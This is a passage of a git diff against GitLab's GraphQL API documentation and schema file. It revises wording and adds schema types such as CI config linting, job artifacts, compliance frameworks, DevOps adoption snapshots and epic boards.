to specify how you'd like a collection of +Some of the GitLab GraphQL endpoints allow you to specify how you'd like a collection of objects to be sorted. You can only sort by what the schema allows you to. Example: Issues can be sorted by creation date: @@ -314,9 +314,9 @@ Pagination is a way of only asking for a subset of the records (say, the first 1 If we want more of them, we can make another request for the next 10 from the server (in the form of something like "please give me the next 10 records"). -By default, GitLab's GraphQL API will return only the first 100 records of any collection. +By default, the GitLab GraphQL API returns only the first 100 records of any collection. This can be changed by using `first` or `last` arguments. Both arguments take a value, -so `first: 10` will return the first 10 records, and `last: 10` the last 10 records. +so `first: 10` returns the first 10 records, and `last: 10` the last 10 records. Example: Retrieve only the first 2 issues (slicing). The `cursor` field gives us a position from which we can retrieve further records relative to that one. diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md index 91917ea47a4..681130e82c1 100644 --- a/doc/api/graphql/index.md +++ b/doc/api/graphql/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GraphQL API @@ -16,7 +16,7 @@ For those new to the GitLab GraphQL API, see ### Quick Reference -- GitLab's GraphQL API endpoint is located at `/api/graphql`. +- The GitLab GraphQL API endpoint is located at `/api/graphql`. - Get an [introduction to GraphQL from graphql.org](https://graphql.org/). - GitLab supports a wide range of resources, listed in the [GraphQL API Reference](reference/index.md). @@ -115,9 +115,9 @@ library GitLab uses on the backend. ## Reference -GitLab's GraphQL reference [is available](reference/index.md). +The GitLab GraphQL reference [is available](reference/index.md). -It is automatically generated from GitLab's GraphQL schema and embedded in a Markdown file. +It is automatically generated from the GitLab GraphQL schema and embedded in a Markdown file. Machine-readable versions are also available: diff --git a/doc/api/graphql/reference/gitlab_schema.graphql b/doc/api/graphql/reference/gitlab_schema.graphql index 58f7d8ecdcf..d7ad70c808e 100644 --- a/doc/api/graphql/reference/gitlab_schema.graphql +++ b/doc/api/graphql/reference/gitlab_schema.graphql @@ -30,7 +30,7 @@ Autogenerated input type of AddAwardEmoji """ input AddAwardEmojiInput { """ - The global id of the awardable resource + The global ID of the awardable resource """ awardableId: AwardableID! @@ -537,22 +537,22 @@ enum AlertManagementAlertSort { """ Created at ascending order """ - created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5") + created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.") """ Created at descending order """ - created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5") + created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.") """ Updated at ascending order """ - updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5") + updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.") """ Updated at descending order """ - updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5") + updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.") } """ @@ -591,6 +591,21 @@ type AlertManagementAlertStatusCountsType { } """ +Filters the alerts based on given domain +""" +enum AlertManagementDomainFilter { + """ + Alerts for operations domain + """ + operations + + """ + Alerts for threat monitoring domain + """ + threat_monitoring +} + +""" An endpoint and credentials used to accept alerts for a project """ type AlertManagementHttpIntegration implements AlertManagementIntegration { @@ -837,7 +852,7 @@ input AlertSetAssigneesInput { clientMutationId: String """ - The iid of the alert to mutate + The IID of the alert to mutate """ iid: String! @@ -892,7 +907,7 @@ input AlertTodoCreateInput { clientMutationId: String """ - The iid of the alert to mutate + The IID of the alert to mutate """ iid: String! @@ -933,6 +948,11 @@ type AlertTodoCreatePayload { } """ +Identifier of Analytics::DevopsAdoption::Segment +""" +scalar AnalyticsDevopsAdoptionSegmentID + +""" User availability status """ enum AvailabilityEnum { @@ -987,7 +1007,7 @@ Autogenerated input type of AwardEmojiAdd """ input AwardEmojiAddInput { """ - The global id of the awardable resource + The global ID of the awardable resource """ awardableId: AwardableID! @@ -1027,7 +1047,7 @@ Autogenerated input type of AwardEmojiRemove """ input AwardEmojiRemoveInput { """ - The global id of the awardable resource + The global ID of the awardable resource """ awardableId: AwardableID! @@ -1067,7 +1087,7 @@ Autogenerated input type of AwardEmojiToggle """ input AwardEmojiToggleInput { """ - The global id of the awardable resource + The global ID of the awardable resource """ awardableId: AwardableID! @@ -1225,12 +1245,12 @@ Represents a project or group board """ type Board { """ - The board assignee. + The board assignee """ assignee: User """ - Epics associated with board issues. + Epics associated with board issues """ epics( """ @@ -1260,12 +1280,12 @@ type Board { ): BoardEpicConnection """ - Whether or not backlog list is hidden. + Whether or not backlog list is hidden """ hideBacklogList: Boolean """ - Whether or not closed list is hidden. + Whether or not closed list is hidden """ hideClosedList: Boolean @@ -1275,6 +1295,11 @@ type Board { id: ID! """ + The board iteration. + """ + iteration: Iteration + + """ Labels of the board """ labels( @@ -1335,7 +1360,7 @@ type Board { ): BoardListConnection """ - The board milestone. + The board milestone """ milestone: Milestone @@ -1345,7 +1370,7 @@ type Board { name: String """ - Weight of the board. + Weight of the board """ weight: Int } @@ -1415,7 +1440,7 @@ type BoardEpic implements CurrentUserTodos & Noteable { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use timeframe.end + date is provided, both must be present) Deprecated in 13.5: Use timeframe.end. """ endDate: Time @@ -1430,7 +1455,7 @@ type BoardEpic implements CurrentUserTodos & Noteable { iid: ID """ - Filter epics by iid for autocomplete + Filter epics by IID for autocomplete """ iidStartsWith: String @@ -1471,8 +1496,8 @@ type BoardEpic implements CurrentUserTodos & Noteable { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use - timeframe.start + date is provided, both must be present) Deprecated in 13.5: Use + timeframe.start. """ startDate: Time @@ -2095,6 +2120,11 @@ input BoardListCreateInput { clientMutationId: String """ + Global ID of an existing iteration + """ + iterationId: IterationID + + """ Global ID of an existing label """ labelId: LabelID @@ -2190,6 +2220,11 @@ type BoardListUpdateLimitMetricsPayload { list: BoardList } +""" +Identifier of Boards::EpicBoard +""" +scalar BoardsEpicBoardID + type Branch { """ Commit for the branch @@ -2232,6 +2267,101 @@ type BurnupChartDailyTotals { scopeWeight: Int! } +type CiConfig { + """ + Linting errors + """ + errors: [String!] + + """ + Merged CI config YAML + """ + mergedYaml: String + + """ + Stages of the pipeline + """ + stages: [CiConfigStage!] + + """ + Status of linting, can be either valid or invalid + """ + status: CiConfigStatus +} + +type CiConfigGroup { + """ + Jobs in group + """ + jobs: [CiConfigJob!] + + """ + Name of the job group + """ + name: String + + """ + Size of the job group + """ + size: Int +} + +type CiConfigJob { + """ + Name of the job group + """ + groupName: String + + """ + Name of the job + """ + name: String + + """ + Builds that must complete before the jobs run + """ + needs: [CiConfigNeed!] + + """ + Name of the job stage + """ + stage: String +} + +type CiConfigNeed { + """ + Name of the need + """ + name: String +} + +type CiConfigStage { + """ + Groups of jobs for the stage + """ + groups: [CiConfigGroup!] + + """ + Name of the stage + """ + name: String +} + +""" +Values for YAML processor result +""" +enum CiConfigStatus { + """ + The configuration file is not valid + """ + INVALID + + """ + The configuration file is valid + """ + VALID +} + type CiGroup { """ Detailed status of the group @@ -2311,6 +2441,31 @@ type CiGroupEdge { type CiJob { """ + Artifacts generated by the job + """ + artifacts( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): CiJobArtifactConnection + + """ Detailed status of the job """ detailedStatus: DetailedStatus @@ -2348,7 +2503,7 @@ type CiJob { """ Pipeline the job belongs to """ - pipeline: Pipeline! + pipeline: Pipeline """ Schedule for the build @@ -2356,6 +2511,53 @@ type CiJob { scheduledAt: Time } +type CiJobArtifact { + """ + URL for downloading the artifact's file + """ + downloadPath: String + + """ + File type of the artifact + """ + fileType: JobArtifactFileType +} + +""" +The connection type for CiJobArtifact. +""" +type CiJobArtifactConnection { + """ + A list of edges. + """ + edges: [CiJobArtifactEdge] + + """ + A list of nodes. + """ + nodes: [CiJobArtifact] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type CiJobArtifactEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: CiJobArtifact +} + """ The connection type for CiJob. """ @@ -2555,7 +2757,7 @@ input ClusterAgentDeleteInput { clientMutationId: String """ - Global id of the cluster agent that will be deleted + Global ID of the cluster agent that will be deleted """ id: ClustersAgentID! } @@ -2899,6 +3101,11 @@ type Commit { sha: String! """ + Short SHA1 ID of the commit + """ + shortId: String! + + """ Rendered HTML of the commit signature """ signatureHtml: String @@ -2992,6 +3199,26 @@ enum CommitActionMode { } """ +The connection type for Commit. +""" +type CommitConnection { + """ + A list of edges. + """ + edges: [CommitEdge] + + """ + A list of nodes. + """ + nodes: [Commit] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" Autogenerated input type of CommitCreate """ input CommitCreateInput { @@ -3046,6 +3273,21 @@ type CommitCreatePayload { errors: [String!]! } +""" +An edge in a connection. +""" +type CommitEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: Commit +} + enum CommitEncoding { """ Base64 encoding @@ -3063,6 +3305,21 @@ Represents a ComplianceFramework associated with a Project """ type ComplianceFramework { """ + Hexadecimal representation of compliance framework's label color + """ + color: String! + + """ + Description of the compliance framework + """ + description: String! + + """ + Compliance framework ID + """ + id: ID! + + """ Name of the compliance framework """ name: String! @@ -3104,6 +3361,11 @@ type ComplianceFrameworkEdge { } """ +Identifier of ComplianceManagement::Framework +""" +scalar ComplianceManagementFrameworkID + +""" Autogenerated input type of ConfigureSast """ input ConfigureSastInput { @@ -3324,6 +3586,11 @@ type ContainerRepository { path: String! """ + Project of the container registry + """ + project: Project! + + """ Status of the container repository. """ status: ContainerRepositoryStatus @@ -3429,6 +3696,11 @@ type ContainerRepositoryDetails { path: String! """ + Project of the container registry + """ + project: Project! + + """ Status of the container repository. """ status: ContainerRepositoryStatus @@ -3599,7 +3871,7 @@ input CreateAlertIssueInput { clientMutationId: String """ - The iid of the alert to mutate + The IID of the alert to mutate """ iid: String! @@ -3649,7 +3921,7 @@ input CreateAnnotationInput { clientMutationId: String """ - The global id of the cluster to add an annotation to + The global ID of the cluster to add an annotation to """ clusterId: ClustersClusterID @@ -3669,7 +3941,7 @@ input CreateAnnotationInput { endingAt: Time """ - The global id of the environment to add an annotation to + The global ID of the environment to add an annotation to """ environmentId: EnvironmentID @@ -3704,11 +3976,6 @@ Autogenerated input type of CreateBoard """ input CreateBoardInput { """ - The ID of the user to be assigned to the board. - """ - assigneeId: String - - """ A unique identifier for the client performing the mutation. """ clientMutationId: String @@ -3719,14 +3986,14 @@ input CreateBoardInput { groupPath: ID """ - The IDs of labels to be added to the board. + Whether or not backlog list is hidden """ - labelIds: [LabelID!] + hideBacklogList: Boolean """ - The ID of the milestone to be assigned to the board. + Whether or not closed list is hidden """ - milestoneId: MilestoneID + hideClosedList: Boolean """ The board name. @@ -3737,11 +4004,6 @@ input CreateBoardInput { The project full path the resource is associated with """ projectPath: ID - - """ - The weight of the board. - """ - weight: Boolean } """ @@ -3850,6 +4112,56 @@ type CreateClusterAgentPayload { } """ +Autogenerated input type of CreateComplianceFramework +""" +input CreateComplianceFrameworkInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Color to represent the compliance framework as a hexadecimal value. e.g. #ABC123. + """ + color: String! + + """ + Description of the compliance framework. + """ + description: String! + + """ + Name of the compliance framework. + """ + name: String! + + """ + Full path of the namespace to add the compliance framework to. + """ + namespacePath: ID! +} + +""" +Autogenerated return type of CreateComplianceFramework +""" +type CreateComplianceFrameworkPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The created compliance framework. + """ + framework: ComplianceFramework +} + +""" Autogenerated input type of CreateCustomEmoji """ input CreateCustomEmojiInput { @@ -3895,6 +4207,46 @@ type CreateCustomEmojiPayload { } """ +Autogenerated input type of CreateDevopsAdoptionSegment +""" +input CreateDevopsAdoptionSegmentInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The array of group IDs to set for the segment + """ + groupIds: [GroupID!] + + """ + Name of the segment + """ + name: String! +} + +""" +Autogenerated return type of CreateDevopsAdoptionSegment +""" +type CreateDevopsAdoptionSegmentPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! + + """ + The segment after mutation + """ + segment: DevopsAdoptionSegment +} + +""" Autogenerated input type of CreateDiffNote """ input CreateDiffNoteInput { @@ -3914,7 +4266,7 @@ input CreateDiffNoteInput { confidential: Boolean """ - The global id of the resource to add a note to + The global ID of the resource to add a note to """ noteableId: NoteableID! @@ -4044,7 +4396,7 @@ input CreateImageDiffNoteInput { confidential: Boolean """ - The global id of the resource to add a note to + The global ID of the resource to add a note to """ noteableId: NoteableID! @@ -4269,12 +4621,12 @@ input CreateNoteInput { confidential: Boolean """ - The global id of the discussion this note is in reply to + The global ID of the discussion this note is in reply to """ discussionId: DiscussionID """ - The global id of the resource to add a note to + The global ID of the resource to add a note to """ noteableId: NoteableID! } @@ -4623,9 +4975,9 @@ type DastScannerProfile { editPath: String """ - ID of the DAST scanner profile. Deprecated in 13.6: Use `id` + ID of the DAST scanner profile Deprecated in 13.6: Use `id`. """ - globalId: DastScannerProfileID! @deprecated(reason: "Use `id`. Deprecated in 13.6") + globalId: DastScannerProfileID! @deprecated(reason: "Use `id`. Deprecated in 13.6.") """ ID of the DAST scanner profile @@ -4747,9 +5099,9 @@ type DastScannerProfileCreatePayload { errors: [String!]! """ - ID of the scanner profile.. Deprecated in 13.6: Use `id` + ID of the scanner profile. Deprecated in 13.6: Use `id`. """ - globalId: DastScannerProfileID @deprecated(reason: "Use `id`. Deprecated in 13.6") + globalId: DastScannerProfileID @deprecated(reason: "Use `id`. Deprecated in 13.6.") """ ID of the scanner profile. @@ -4899,6 +5251,11 @@ type DastSiteProfile { id: DastSiteProfileID! """ + Normalized URL of the target to be scanned + """ + normalizedTargetUrl: String + + """ The name of the site profile """ profileName: String @@ -5111,6 +5468,11 @@ enum DastSiteProfileValidationStatusEnum { INPROGRESS_VALIDATION """ + No site validation exists + """ + NONE + + """ Site validation process finished successfully """ PASSED_VALIDATION @@ -5181,17 +5543,42 @@ Represents a DAST Site Validation """ type DastSiteValidation { """ - ID of the site validation + Global ID of the site validation """ id: DastSiteValidationID! """ - The status of the validation + Normalized URL of the target to be validated + """ + normalizedTargetUrl: String + + """ + Status of the site validation """ status: DastSiteProfileValidationStatusEnum! } """ +The connection type for DastSiteValidation. +""" +type DastSiteValidationConnection { + """ + A list of edges. + """ + edges: [DastSiteValidationEdge] + + """ + A list of nodes. + """ + nodes: [DastSiteValidation] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" Autogenerated input type of DastSiteValidationCreate """ input DastSiteValidationCreateInput { @@ -5247,6 +5634,21 @@ type DastSiteValidationCreatePayload { } """ +An edge in a connection. +""" +type DastSiteValidationEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: DastSiteValidation +} + +""" Identifier of DastSiteValidation """ scalar DastSiteValidationID @@ -5278,7 +5680,7 @@ input DeleteAnnotationInput { clientMutationId: String """ - The global ID of the annotation to delete + Global ID of the annotation to delete """ id: MetricsDashboardAnnotationID! } @@ -5299,6 +5701,36 @@ type DeleteAnnotationPayload { } """ +Autogenerated input type of DeleteDevopsAdoptionSegment +""" +input DeleteDevopsAdoptionSegmentInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + ID of the segment + """ + id: AnalyticsDevopsAdoptionSegmentID! +} + +""" +Autogenerated return type of DeleteDevopsAdoptionSegment +""" +type DeleteDevopsAdoptionSegmentPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" The response from the AdminSidekiqQueuesDeleteJobs mutation """ type DeleteJobsResponse { @@ -5868,7 +6300,7 @@ input DesignManagementDeleteInput { filenames: [String!]! """ - The iid of the issue to modify designs for + The IID of the issue to modify designs for """ iid: ID! @@ -5968,7 +6400,7 @@ input DesignManagementUploadInput { files: [Upload!]! """ - The iid of the issue to modify designs for + The IID of the issue to modify designs for """ iid: ID! @@ -6234,6 +6666,36 @@ type DestroyBoardPayload { } """ +Autogenerated input type of DestroyComplianceFramework +""" +input DestroyComplianceFrameworkInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + The global ID of the compliance framework to destroy + """ + id: ComplianceManagementFrameworkID! +} + +""" +Autogenerated return type of DestroyComplianceFramework +""" +type DestroyComplianceFrameworkPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" Autogenerated input type of DestroyContainerRepository """ input DestroyContainerRepositoryInput { @@ -6269,6 +6731,46 @@ type DestroyContainerRepositoryPayload { } """ +Autogenerated input type of DestroyContainerRepositoryTags +""" +input DestroyContainerRepositoryTagsInput { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + ID of the container repository. + """ + id: ContainerRepositoryID! + + """ + Container repository tag(s) to delete. Total number can't be greater than 20 + """ + tagNames: [String!]! +} + +""" +Autogenerated return type of DestroyContainerRepositoryTags +""" +type DestroyContainerRepositoryTagsPayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Deleted container repository tags + """ + deletedTagNames: [String!]! + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + +""" Autogenerated input type of DestroyNote """ input DestroyNoteInput { @@ -6278,7 +6780,7 @@ input DestroyNoteInput { clientMutationId: String """ - The global id of the note to destroy + The global ID of the note to destroy """ id: NoteID! } @@ -6313,7 +6815,7 @@ input DestroySnippetInput { clientMutationId: String """ - The global id of the snippet to destroy + The global ID of the snippet to destroy """ id: SnippetID! } @@ -6392,27 +6894,7 @@ type DevopsAdoptionSegment { """ Assigned groups """ - groups( - """ - Returns the elements in the list that come after the specified cursor. - """ - after: String - - """ - Returns the elements in the list that come before the specified cursor. - """ - before: String - - """ - Returns the first _n_ elements from the list. - """ - first: Int - - """ - Returns the last _n_ elements from the list. - """ - last: Int - ): GroupConnection + groups: [Group!] """ ID of the segment @@ -6420,6 +6902,11 @@ type DevopsAdoptionSegment { id: ID! """ + The latest adoption metrics for the segment + """ + latestSnapshot: DevopsAdoptionSnapshot + + """ Name of the segment """ name: String! @@ -6460,6 +6947,61 @@ type DevopsAdoptionSegmentEdge { node: DevopsAdoptionSegment } +""" +Snapshot +""" +type DevopsAdoptionSnapshot { + """ + At least one deployment succeeded + """ + deploySucceeded: Boolean! + + """ + The end time for the snapshot where the data points were collected + """ + endTime: Time! + + """ + At least one issue was opened + """ + issueOpened: Boolean! + + """ + At least one merge request was approved + """ + mergeRequestApproved: Boolean! + + """ + At least one merge request was opened + """ + mergeRequestOpened: Boolean! + + """ + At least one pipeline succeeded + """ + pipelineSucceeded: Boolean! + + """ + The time the snapshot was recorded + """ + recordedAt: Time! + + """ + At least one runner was used + """ + runnerConfigured: Boolean! + + """ + At least one security scan succeeded + """ + securityScanSucceeded: Boolean! + + """ + The start time for the snapshot where the data points were collected + """ + startTime: Time! +} + input DiffImagePositionInput { """ Merge base of the branch the comment was made on @@ -6792,7 +7334,7 @@ input DiscussionToggleResolveInput { clientMutationId: String """ - The global id of the discussion + The global ID of the discussion """ id: DiscussionID! @@ -7048,7 +7590,7 @@ type Epic implements CurrentUserTodos & Noteable { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use timeframe.end + date is provided, both must be present) Deprecated in 13.5: Use timeframe.end. """ endDate: Time @@ -7063,7 +7605,7 @@ type Epic implements CurrentUserTodos & Noteable { iid: ID """ - Filter epics by iid for autocomplete + Filter epics by IID for autocomplete """ iidStartsWith: String @@ -7104,8 +7646,8 @@ type Epic implements CurrentUserTodos & Noteable { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use - timeframe.start + date is provided, both must be present) Deprecated in 13.5: Use + timeframe.start. """ startDate: Time @@ -7476,12 +8018,12 @@ input EpicAddIssueInput { groupPath: ID! """ - The iid of the epic to mutate + The IID of the epic to mutate """ iid: ID! """ - The iid of the issue to be added + The IID of the issue to be added """ issueIid: String! @@ -7517,6 +8059,56 @@ type EpicAddIssuePayload { } """ +Represents an epic board +""" +type EpicBoard { + """ + Global ID of the board + """ + id: BoardsEpicBoardID! + + """ + Name of the board + """ + name: String +} + +""" +The connection type for EpicBoard. +""" +type EpicBoardConnection { + """ + A list of edges. + """ + edges: [EpicBoardEdge] + + """ + A list of nodes. + """ + nodes: [EpicBoard] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type EpicBoardEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: EpicBoard +} + +""" The connection type for Epic. """ type EpicConnection { @@ -7656,12 +8248,12 @@ type EpicIssue implements CurrentUserTodos & Noteable { author: User! """ - Indicates the issue is blocked + Indicates the issue is blocked. """ blocked: Boolean! """ - Count of issues blocking this issue + Count of issues blocking this issue. """ blockedByCount: Int @@ -7771,7 +8363,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { emailsDisabled: Boolean! """ - Epic to which this issue belongs + Epic to which this issue belongs. """ epic: Epic @@ -7781,7 +8373,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { epicIssueId: ID! """ - Current health status. Returns null if `save_issuable_health_status` feature flag is disabled. + Current health status. """ healthStatus: HealthStatus @@ -7806,7 +8398,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { iid: ID! """ - Iteration of the issue + Iteration of the issue. """ iteration: Iteration @@ -7836,6 +8428,11 @@ type EpicIssue implements CurrentUserTodos & Noteable { ): LabelConnection """ + Metric images associated to the issue. + """ + metricImages: [MetricImage!] + + """ Milestone of the issue """ milestone: Milestone @@ -7936,7 +8533,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { state: IssueState! """ - Indicates whether an issue is published to the status page + Indicates whether an issue is published to the status page. """ statusPagePublishedIncident: Boolean @@ -8016,7 +8613,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { webUrl: String! """ - Weight of the issue + Weight of the issue. """ weight: Int } @@ -8126,7 +8723,7 @@ input EpicSetSubscriptionInput { groupPath: ID! """ - The iid of the epic to mutate + The IID of the epic to mutate """ iid: ID! @@ -8210,12 +8807,12 @@ A node of an epic tree. """ input EpicTreeNodeFieldsInputType { """ - The id of the epic_issue or issue that the actual epic or issue is switched with + The ID of the epic_issue or issue that the actual epic or issue is switched with """ adjacentReferenceId: EpicTreeSortingID """ - The id of the epic_issue or epic that is being moved + The ID of the epic_issue or epic that is being moved """ id: EpicTreeSortingID! @@ -8235,7 +8832,7 @@ Autogenerated input type of EpicTreeReorder """ input EpicTreeReorderInput { """ - The id of the base epic of the tree + The ID of the base epic of the tree """ baseEpicId: EpicID! @@ -8285,6 +8882,46 @@ enum EpicWildcardId { NONE } +""" +Represents an external issue +""" +type ExternalIssue { + """ + Timestamp of when the issue was created + """ + createdAt: Time + + """ + Type of external tracker + """ + externalTracker: String + + """ + Relative reference of the issue in the external tracker + """ + relativeReference: String + + """ + Status of the issue in the external tracker + """ + status: String + + """ + Title of the issue in the external tracker + """ + title: String + + """ + Timestamp of when the issue was updated + """ + updatedAt: Time + + """ + URL to the issue in the external tracker + """ + webUrl: String +} + type GeoNode { """ The maximum concurrency of container repository sync for this secondary node @@ -8427,8 +9064,7 @@ type GeoNode { selectiveSyncType: String """ - Find snippet repository registries on this Geo node. Available only when - feature flag `geo_snippet_repository_replication` is enabled + Find snippet repository registries on this Geo node """ snippetRepositoryRegistries( """ @@ -8597,8 +9233,7 @@ type Group { ): BoardConnection """ - Represents the code coverage activity for this group. Available only when - feature flag `group_coverage_data_report_graph` is enabled + Represents the code coverage activity for this group """ codeCoverageActivities( """ @@ -8628,7 +9263,33 @@ type Group { ): CodeCoverageActivityConnection """ - Container repositories of the project + Compliance frameworks available to projects in this namespace Available only + when feature flag `ff_custom_compliance_frameworks` is enabled. + """ + complianceFrameworks( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): ComplianceFrameworkConnection + + """ + Container repositories of the group """ containerRepositories( """ @@ -8658,12 +9319,17 @@ type Group { ): ContainerRepositoryConnection """ + Number of container repositories in the group + """ + containerRepositoriesCount: Int! + + """ Includes at least one project where the repository size exceeds the limit """ containsLockedProjects: Boolean! """ - Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled + Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled. """ customEmoji( """ @@ -8713,7 +9379,7 @@ type Group { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use timeframe.end + date is provided, both must be present) Deprecated in 13.5: Use timeframe.end. """ endDate: Time @@ -8723,7 +9389,7 @@ type Group { iid: ID """ - Filter epics by iid for autocomplete + Filter epics by IID for autocomplete """ iidStartsWith: String @@ -8759,8 +9425,8 @@ type Group { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use - timeframe.start + date is provided, both must be present) Deprecated in 13.5: Use + timeframe.start. """ startDate: Time @@ -8776,6 +9442,41 @@ type Group { ): Epic """ + Find a single epic board + """ + epicBoard( + """ + Find an epic board by ID + """ + id: BoardsEpicBoardID! + ): EpicBoard + + """ + Find epic boards + """ + epicBoards( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): EpicBoardConnection + + """ Find epics """ epics( @@ -8796,7 +9497,7 @@ type Group { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use timeframe.end + date is provided, both must be present) Deprecated in 13.5: Use timeframe.end. """ endDate: Time @@ -8811,7 +9512,7 @@ type Group { iid: ID """ - Filter epics by iid for autocomplete + Filter epics by IID for autocomplete """ iidStartsWith: String @@ -8852,8 +9553,8 @@ type Group { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use - timeframe.start + date is provided, both must be present) Deprecated in 13.5: Use + timeframe.start. """ startDate: Time @@ -8908,6 +9609,11 @@ type Group { last: Int """ + Filter members by the given member relations + """ + relations: [GroupMemberRelation!] = [DIRECT, INHERITED] + + """ Search query """ search: String @@ -9074,7 +9780,7 @@ type Group { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use timeframe.end + date is provided, both must be present) Deprecated in 13.5: Use timeframe.end. """ endDate: Time @@ -9084,17 +9790,17 @@ type Group { first: Int """ - The ID of the Iteration to look up + Global ID of the Iteration to look up. """ id: ID """ - The internal ID of the Iteration to look up + Internal ID of the Iteration to look up. """ iid: ID """ - Whether to include ancestor iterations. Defaults to true + Whether to include ancestor iterations. Defaults to true. """ includeAncestors: Boolean @@ -9105,13 +9811,13 @@ type Group { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use - timeframe.start + date is provided, both must be present) Deprecated in 13.5: Use + timeframe.start. """ startDate: Time """ - Filter iterations by state + Filter iterations by state. """ state: IterationState @@ -9121,7 +9827,7 @@ type Group { timeframe: Timeframe """ - Fuzzy search by title + Fuzzy search by title. """ title: String ): IterationConnection @@ -9282,7 +9988,7 @@ type Group { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use timeframe.end + date is provided, both must be present) Deprecated in 13.5: Use timeframe.end. """ endDate: Time @@ -9313,8 +10019,8 @@ type Group { """ List items overlapping a time frame defined by startDate..endDate (if one - date is provided, both must be present). Deprecated in 13.5: Use - timeframe.start + date is provided, both must be present) Deprecated in 13.5: Use + timeframe.start. """ startDate: Time @@ -9616,7 +10322,7 @@ type Group { """ Number of vulnerabilities per severity level, per day, for the projects in the - group and its subgroups. Deprecated in 13.3: Use `vulnerabilitiesCountByDay` + group and its subgroups Deprecated in 13.3: Use `vulnerabilitiesCountByDay`. """ vulnerabilitiesCountByDayAndSeverity( """ @@ -9648,7 +10354,7 @@ type Group { First day for which to fetch vulnerability history """ startDate: ISO8601Date! - ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3") + ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3.") """ Represents vulnerable project counts for each grade @@ -9722,41 +10428,6 @@ type Group { } """ -The connection type for Group. -""" -type GroupConnection { - """ - A list of edges. - """ - edges: [GroupEdge] - - """ - A list of nodes. - """ - nodes: [Group] - - """ - Information to aid in pagination. - """ - pageInfo: PageInfo! -} - -""" -An edge in a connection. -""" -type GroupEdge { - """ - A cursor for use in pagination. - """ - cursor: String! 